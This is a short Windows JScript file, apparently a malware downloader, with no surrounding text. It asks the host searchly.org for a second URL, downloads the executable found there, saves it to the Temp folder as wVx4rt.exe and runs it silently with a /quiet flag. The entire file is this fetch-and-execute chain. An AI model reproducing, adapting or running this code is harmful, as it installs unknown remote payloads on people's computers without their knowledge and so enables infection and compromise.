var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", "http://searchly.org/xVwd2.php", /*async=*/false);
WinHttpReq.Send();
strDlUrl = WinHttpReq.ResponseText;
var TmpDir = new ActiveXObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%");
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", strDlUrl, /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(TmpDir + "\\wVx4rt.exe",2);
var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run (TmpDir + "\\wVx4rt.exe /quiet");